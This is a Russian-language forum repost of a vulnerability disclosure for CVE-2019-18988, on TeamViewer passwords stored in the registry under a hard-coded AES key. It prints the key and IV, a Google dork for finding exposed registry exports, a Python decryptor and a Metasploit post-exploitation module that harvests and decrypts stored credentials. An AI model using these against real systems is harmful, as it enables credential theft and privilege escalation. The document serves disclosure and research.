Гостевая статья TeamViewer хранит пароли пользователей в реестре, зашифрованные hard-coded ключом

Даже не знаю с чего начать. Это была безумная поездка, в которой я много чего узнал.

TL; DR: TeamViewer хранит пароли пользователей, зашифрованные с помощью AES-128-CBC, с ключами
Код:
0602000000a400005253413100040000 & IV of 0100010067244F436E6762F25EA8D704
в реестре Windows. Если пароль используется где-либо еще, повышение привилегий возможно. Если у вас нет прав RDP на машину, но TeamViewer установлен, вы можете использовать TeamViewer для удаленного входа. TeamViewer также позволяет вам копировать данные или планировать задачи для запуска через их Service, который выполняется как NT AUTHORITY\SYSTEM, так что пользователь с низкими привилегиями может немедленно перейти к SYSTEM с .bat файлом. Уязвимости дали номер CVE-2019-18988.

Я прибыл на место к клиенту, и это были славные ребята. Они исправили абсолютно все из отчета прошлого года. Они не знали о mimt6, и именно поэтому мы начали прокручивать некоторые хэши. После того, как, наконец, взломав один, мы быстро обнаружили, что это место было довольно защищенным. Даже сетевой администратор не имел локального администратора ни на одной машине с Windows и не имел прав RDP нигде. Мы смогли найти несколько открытых шар и подключиться к ним. Мы наткнулись на резервную копию ключей реестра TeamViewer. Я отметил, что в резервной копии были такие вещи, как OptionsPasswordAES или SecurityPasswordAES. Я быстро осмотрелся, чтобы посмотреть, что я мог с этим сделать, и обнаружил, что это мало чего. Однако я мог бы импортировать параметры реестра или развернуть их в формате MSI, чтобы все установки TeamViewer в организации могли иметь один и тот же пароль. Это навело меня на мысль, что во всех TeamViewer есть общий ключ, который будет резервировать запрос с помощью ключей reg, в которых участвует AES. В конце концов мы не смогли вовремя скомпрометировать клиента, но ключи реестра TeamViewer действительно были у меня и, таким образом, начинается эта кроличья нора.

Первым делом я попытался найти установщик для той же самой версии из разделов реестра TeamViewer, который оказался версией 7. Быстрый поиск в Google показал, что TeamViewer любезно предлагает все старые версии для загрузки, которые можно найти . Я установил новую виртуальную машину Windows 10 и установил на нее TeamViewer 7, немного поигрался с настройками и меню. Я импортировал ключи реестра и был быстро заблокирован из меню для изменения параметров. Оказывается, OptionsPasswordAES ключ reg предназначен для того, чтобы не допустить посторонних людей в меню, где вы можете изменить настройки. Я конечно не знал пароль и по прихоти скачал и запустил это. Удивительно, но он вернул мне пароль в виде открытого текста. Отлично, теперь я могу вернуться на страницу «Параметры» и заглянуть в меню «Безопасность». Я надеялся, что предопределенный пароль автоматического доступа будет отображаться и в BulletPassView. Он отображался как звездочки. По дороге домой от клиента я посмотрел видео LiveOverflow о взломе игр Windows и о том, как вы можете искать в памяти с помощью Cheat Engine. Поэтому я загрузил Cheat Engine на виртуальную машину и стал искать пароль, который нашел ранее. Просмотрев эту область памяти. Я обнаружил, что пароль опций хранится в открытом тексте в памяти между байтами 080088 и 000000000000. Я продолжал искать, а потом я обнаружил между 090088 и 000000000000.Это дало мне два разных пароля, которые я искал! Я решил посмотреть, сколько людей ткнуло в TeamViewer в прошлом, и оказалось, что учетные данные текста в памяти уже найдены и присвоены . Как оказалось, в APT41 был отчет о том, как они атаковали пользователей TeamViewer или использовали TeamViewer для получения удаленного доступа к некоторым пользователям. Твиты были удалены, но их можно увидеть (привет проекту Интернет-архива и archive.is/archive.today).

Обсудив с некоторыми коллегами поиск ключа для расшифровки будущих клиентских паролей, спросил, была ли моя виртуальная машина подключена к Интернету. Я сказал «да», а затем понял, что мне нужно проверить, загружает ли виртуальная машина ключ AES или он хранится в самом двоичном файле. Я развернул новую виртуальную машину Windows 10, переключил сеть в режим «Только для хоста» и скопировал установщик TeamViewer через HTTP-сервер, работающий на моем хост-компьютере. На самом деле я все еще мог видеть пароли в текстовом виде. Теперь мне нужно запустить IDA Pro и начать работу с огромным двоичным файлом, который является TeamViewer. Я потратил недели на эту часть. Дошло до того, что я мог сказать, будет ли сбой IDA, основываясь на том, обнаружит ли он x-ref для определенной строки в двоичном файле. Я сбрасывал память в случайных местах и пробежал каждый кусок 32-байтовой памяти за раз, чтобы посмотреть, повезет ли мне с ключом.Rijndael в TeamViewer, так что, возможно, они использовали реальный rijndael, а не AES. Я обнаружил, что TeamViewer использует для своего шифрования/дешифрования. Как оказалось, один из поддерживаемых режимов в libcrypto ++ был rijndael. Наконец я наткнулся на что-то. Я использовал чтобы пройти через TeamViewer и Cheat Engine для поиска паролей, и как только они всплывали в памяти, я память процессов, используя и затем пробегал каждый 32-байтовый фрагмент памяти, чтобы убедиться, что я нажму все возможные комбинации. Поскольку для этого я сейчас использовал C ++ вместо python, все прошло довольно быстро. Однако это мне ничего не дало(просто искал не то). Я подумал, что, возможно, procdump что-то сжимает, поэтому я научился делать дамп памяти с помощью и я также прокрутил там все возможности, и снова неудача. Я решил вернуться к изменению двоичного кода.

Я так долго копался в бинарнике, что понимал - должен быть лучший способ. Я продолжал исследовать и исследовать, и оказалось, что есть большое количество людей, которые хотят найти активы AES-ключи для игр Unity. Это привело меня к в где я понял, что уже слишком много думал об этом и мне нужно просто использовать отладчик. После того, как я в течение 6 часов проходился по TeamViewer, потому что не хотел ничего пропустить, я попал в область кода, которая отвечала за расшифровку AES. Вот фрагмент из моих заметок.
Код:
=================================================
"ServerPasswordAES"=hex:88,44,d7,0a,b2,96,2a,3d,63,16,3c,ff,e4,15,04,fb
=================================================
Takes 8844d70ab2962a3d63163cffe41504fb into xmm0
Takes 5B659253E5E873D26723B7D5EAC06E3B into xmm1
pxor xmm0, xmm1
movdqa xmmword ptr ds:[eax],xmm0
[eax] = D3214559577E59EF04358B2A0ED56AC0

movdqa xmm1,xmmword ptr ds:[esi]     | [esi] = 25C8C8BD4298BB32A57EECBDBD045BBB
movdqa xmm0,xmmword ptr ds:[eax]     | [eax] = D3214559577E59EF04358B2A0ED56AC0
aesdec xmm0,xmm1                     | One round of an AES decryption, using Equivalent Inverse Cipher, 128-bit data (state) from xmm1 with 128-bit round key from xmm2/m128; store the result in xmm1.
movdqa xmmword ptr ds:[eax],xmm0     | [eax] = 6F AA 98 76 DE 11 7D 8D 7E B6 EE 61 2D 3D 15 52
movdqa xmm1,xmmword ptr ds:[esi+10]  | [esi+10]=[008FDE10]=79 DC 78 A6 67 50 73 8F E7 E6 57 8F 18 7A B7 06
add esi,20                           |
dec ecx                              | ecx = 3
aesdec xmm0,xmm1                     | do the actual decryption
movdqa xmmword ptr ds:[eax],xmm0     | [eax]=[008FDC90]=E3 58 26 46 A7 37 12 40 85 1C C0 43 7D 1F 1E 30

Three more rounds of aesdec then
aesdeclast xmm0, xmm1 .| Last round of AES decryption, using Equivalent Inverse Cipher, 128-bit data (state) from xmm2 with a 128-bit round key from xmm3/m128; store the result in xmm1.

008FDC90  01 00 01 00 67 24 4F 43 6E 67 62 F2 5E A8 D7 04  ....g$OCngbò^¨×.
Эта часть кода берет байты из реестра ServerPasswordAES а затем расшифровывает их с помощью ключа, который 25C8C8BD4298BB32A57EECBDBD045BBB и на самом деле является неправильным. Я спросил у мастера @ecdhe, что они знали о реализации AES в сборке, и они ответили слишком быстро, сказав: «Предполагается, что IV будет XOR с первыми 128 битами открытого текста только после aesdec». Я понял, что пропустил movdqaв, xmm2 и это pxor xmm0,xmm1 было не дальнейшее запутывание, а скорее IV использованием. Я установил точку остановки в начале функции и перезапустил процесс. Итак mov в xmm2 был их ключом 0602000000a400005253413100040000. IV - это дешифрованные байты ServerPasswordAES с ранее упомянутым ключом и нулевым IV. В этом случае IV для SecurityPasswordAES был 0100010067244F436E6762F25EA8D704, работающим для TeamViewer версии 7 из коробки и для последней версии Teamviewer 14, пока SecurityPasswordExported ключ доступен. На момент написания этой статьи я еще не подтвердил, работает ли он, PermanentPassword что, по-видимому, является паролем автоматического доступа для TeamViewer 14.

В TeamViewer 14 они представили механизм сценариев для своих бизнес-клиентов. Ниже показан результат sc.exe qc TeamViewer7.

Код:
PS C:\Users\Administrator\Documents\testing> sc.exe qc TeamViewer7
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: TeamViewer7
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : TeamViewer 7
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Обратите внимание на последнюю строку в выводе из tasklist /v. Имея пароль для установки TeamViewer и включенный механизм сценариев, вы можете перейти NT AUTHORITY\SYSTEM от пользователя с низкими привилегиями только к чтению реестра.
Код:
PS C:\Users\Administrator\Documents\testing> tasklist /v

Image Name                     PID Session Name        Session#    Mem Usage Status          User Name                                              CPU Time Window Title
========================= ======== ================ =========== ============ =============== ================================================== ============ ============================================
System Idle Process              0 Services                   0          4 K Unknown         NT AUTHORITY\SYSTEM                                    69:20:56 N/A
System                           4 Services                   0        144 K Unknown         N/A                                                     0:01:43 N/A
smss.exe                       260 Services                   0      1,264 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
csrss.exe                      376 Services                   0      4,300 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:05 N/A
wininit.exe                    444 Services                   0      5,172 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:02 N/A
csrss.exe                      452 Console                    1      4,332 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
winlogon.exe                   504 Console                    1      8,364 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
services.exe                   568 Services                   0      7,368 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:04 N/A
lsass.exe                      576 Services                   0     21,076 K Unknown         NT AUTHORITY\SYSTEM                                     0:05:14 N/A
svchost.exe                    660 Services                   0     20,084 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:01 N/A
svchost.exe                    712 Services                   0     11,604 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:00:21 N/A
LogonUI.exe                    812 Console                    1     42,972 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
dwm.exe                        820 Console                    1     30,396 K Unknown         Window Manager\DWM-1                                    0:00:00 N/A
svchost.exe                    912 Services                   0     78,452 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:07:20 N/A
svchost.exe                    948 Services                   0     27,564 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:18 N/A
svchost.exe                    956 Services                   0     19,964 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:03 N/A
svchost.exe                    396 Services                   0     17,756 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:01 N/A
svchost.exe                    440 Services                   0      9,608 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:35 N/A
svchost.exe                   1060 Services                   0     68,988 K Unknown         NT AUTHORITY\SYSTEM                                     0:04:04 N/A
svchost.exe                   1072 Services                   0     27,036 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:02 N/A
VSSVC.exe                     1188 Services                   0      7,772 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
svchost.exe                   1256 Services                   0     23,948 K Unknown         NT AUTHORITY\NETWORK SERVICE                            0:00:33 N/A
svchost.exe                   1268 Services                   0      7,040 K Unknown         NT AUTHORITY\LOCAL SERVICE                              0:00:00 N/A
spoolsv.exe                   1952 Services                   0     24,168 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:05 N/A
svchost.exe                   2032 Services                   0     31,012 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:04 N/A
IpOverUsbSvc.exe              1172 Services                   0     15,688 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:00 N/A
SolidCP.VmConfig.exe          1580 Services                   0     36,636 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:05 N/A
TeamViewer_Service.exe        1908 Services                   0     14,908 K Unknown         NT AUTHORITY\SYSTEM                                     0:00:01 N/A
Вот Google Dork, чтобы найти некоторые ключи реестра TeamViewer. Да, вы можете расшифровать их. "SecurityPasswordAES" OR "OptionsPasswordAES" OR "SecurityPasswordExported" OR "PermanentPassword" filetype:reg

Хронология:
5 ноября 2019 года: обратился к @TeamViewer_help в Твиттере
5 ноября 2019 года: отправил письмо директору по безопасности
14 ноября 2019 года: запрос CVE на основе прецедента, установленного CVE-2014-1812
15 ноября 2019 года: получение CVE-2019-18988
15 ноября 2019 года: отправил электронное письмо директору по безопасности с уведомлением о назначении CVE
18 ноября 2019 года. Получил первое и единственное электронное письмо от поставщика «Мы его изучаем»
13 января 2020 года: электронное письмо с запросом на обновление статуса отправлено директору службы безопасности
3 февраля 2020 года: опубликовал рецензию

Ниже приведена реализация в Python, а также ниже - модуль post metasploit.
Python:
import sys, hexdump, binascii
from Crypto.Cipher import AES

class AESCipher:
    def __init__(self, key):
        self.key = key

    def decrypt(self, iv, data):
        self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self.cipher.decrypt(data)

key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "d690a9d0a592327f99bb4c6a6b6d4cbe"            # output from the registry

ciphertext = binascii.unhexlify(hex_str_cipher)

raw_un = AESCipher(key).decrypt(iv, ciphertext)

print(hexdump.hexdump(raw_un))

password = raw_un.decode('utf-16')
print(password)

Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super(update_info(info,
        'Name'          => 'Windows Gather TeamViewer Passwords',
        'Description'   => %q{ This module will find and decrypt stored TeamViewer keys },
        'License'       => MSF_LICENSE,
        'Author'        => [ 'Nic Losby <blurbdust[at]gmail.com>'],
        'Platform'      => [ 'win' ],
        'SessionTypes'  => [ 'meterpreter' ]
      ))
  end

  def app_list
    results = ""
    keys = [
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version7", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version8", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version9", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version10", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version11", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version12", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version13", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version14", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer\\Version15", "Version" ],
      [ "HKLM\\SOFTWARE\\WOW6432Node\\TeamViewer", "Version" ],
      [ "HKLM\\SOFTWARE\\TeamViewer\\Temp", "SecurityPasswordExported" ],
      [ "HKLM\\SOFTWARE\\TeamViewer", "Version" ],
    ]

    keys.each do |keyx86|

      #parent key
      p = keyx86[0,1].join

      #child key
      c = keyx86[1,1].join

      key      = nil
      keychunk = registry_getvaldata(p, c)
      key      = keychunk.unpack("C*") if not keychunk.nil?

      optpass  = registry_getvaldata(p, "OptionsPasswordAES")
      secpass  = registry_getvaldata(p, "SecurityPasswordAES")
      secpasse = registry_getvaldata(p, "SecurityPasswordExported")
      servpass = registry_getvaldata(p, "ServerPasswordAES")
      proxpass = registry_getvaldata(p, "ProxyPasswordAES")
      license  = registry_getvaldata(p, "LicenseKeyAES")

      if not optpass.nil?
        decvalue = decrypt(optpass)
        if not decvalue.nil?
          print_good("Found Options Password: #{decvalue}")
          results << "Options:#{decvalue}\n"
        end
      end
      if not secpass.nil?
        decvalue = decrypt(secpass)
        if not decvalue.nil?
          print_good("Found Security Password: #{decvalue}")
          results << "Security:#{decvalue}\n"
        end
      end
      if not secpasse.nil?
        decvalue = decrypt(secpasse)
        if not decvalue.nil?
          print_good("Found Security Password Exported: #{decvalue}")
          results << "SecurityE:#{decvalue}\n"
        end
      end
      if not servpass.nil?
        decvalue = decrypt(servpass)
        if not decvalue.nil?
          print_good("Found Server Password: #{decvalue}")
          results << "Server:#{decvalue}\n"
        end
      end
      if not proxpass.nil?
        decvalue = decrypt(proxpass)
        if not decvalue.nil?
          print_good("Found Proxy Password: #{decvalue}")
          results << "Proxy:#{decvalue}\n"
        end
      end
      if not license.nil?
        decvalue = decrypt(license)
        if not decvalue.nil?
          print_good("Found License Key: #{decvalue}")
          results << "License:#{decvalue}\n"
        end
      end
    end

    #Only save data to disk when there's something in the table
    if not results.empty?
      path = store_loot("host.teamviewer_passwords", "text/plain", session, results, "teamviewer_passwords.txt", "TeamViewer Passwords")
      print_good("Passwords stored in: #{path.to_s}")
    end
  end

  def decrypt(encrypted_data)
    password = ""
    return password unless encrypted_data

    password = ""
    original_data = encrypted_data.dup

    decoded = encrypted_data
    #print_status(decoded)

    key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
    iv  = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
    aes = OpenSSL::Cipher.new("AES-128-CBC")
    begin
      aes.decrypt
      aes.key = key
      aes.iv = iv
      plaintext = aes.update(decoded)
      password = Rex::Text.to_ascii(plaintext, 'utf-16le')
      if plaintext.empty?
        return nil
      end
    rescue OpenSSL::Cipher::CipherError => e
      puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
    end

    password
  end

  def run
    print_status("Finding TeamViewer Passwords on #{sysinfo['Computer']}")
    app_list
  end
end

Источник:
 
  • Нравится
Реакции: gtrynox
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!